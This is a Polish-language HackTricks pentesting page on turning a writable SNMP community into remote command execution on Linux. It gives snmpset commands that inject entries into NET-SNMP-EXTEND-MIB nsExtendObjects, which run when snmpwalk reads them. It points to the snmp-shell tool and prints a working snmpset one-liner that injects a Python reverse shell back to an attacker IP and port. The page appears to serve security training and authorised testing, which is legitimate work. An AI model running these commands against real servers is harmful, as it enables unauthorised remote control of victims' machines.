tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
SNMP RCE
SNMP może być wykorzystany przez atakującego, jeśli administrator zignoruje jego domyślną konfigurację na urządzeniu lub serwerze. Poprzez nadużycie społeczności SNMP z uprawnieniami do zapisu (rwcommunity) na systemie operacyjnym Linux, atakujący może wykonywać polecenia na serwerze.
Rozszerzanie usług o dodatkowe polecenia
Aby rozszerzyć usługi SNMP i dodać dodatkowe polecenia, można dodać nowe wiersze do tabeli "nsExtendObjects". Można to osiągnąć, używając polecenia snmpset
i podając niezbędne parametry, w tym absolutną ścieżkę do pliku wykonywalnego oraz polecenie do wykonania:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
Wstrzykiwanie poleceń do wykonania
Wstrzykiwanie poleceń do uruchomienia na usłudze SNMP wymaga istnienia i możliwości wykonania wywoływanego binarnego/skryptu. NET-SNMP-EXTEND-MIB
wymaga podania absolutnej ścieżki do pliku wykonywalnego.
Aby potwierdzić wykonanie wstrzykniętego polecenia, można użyć polecenia snmpwalk
, aby wyliczyć usługę SNMP. wynik wyświetli polecenie i jego powiązane szczegóły, w tym absolutną ścieżkę:
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
Uruchamianie Wstrzykniętych Komend
Gdy wstrzyknięta komenda jest odczytywana, jest wykonywana. To zachowanie jest znane jako run-on-read()
. Wykonanie komendy można zaobserwować podczas odczytu snmpwalk.
Uzyskiwanie Powłoki Serwera za pomocą SNMP
Aby uzyskać kontrolę nad serwerem i zdobyć powłokę serwera, można wykorzystać skrypt w Pythonie opracowany przez mxrch z https://github.com/mxrch/snmp-shell.git.
Alternatywnie, powłokę odwrotną można ręcznie stworzyć, wstrzykując konkretną komendę do SNMP. Ta komenda, uruchamiana przez snmpwalk, nawiązuje połączenie powłoki odwrotnej z maszyną atakującego, umożliwiając kontrolę nad maszyną ofiary. Możesz zainstalować wymagane elementy do uruchomienia tego:
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
Lub powłoka odwrotna:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
Odniesienia
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.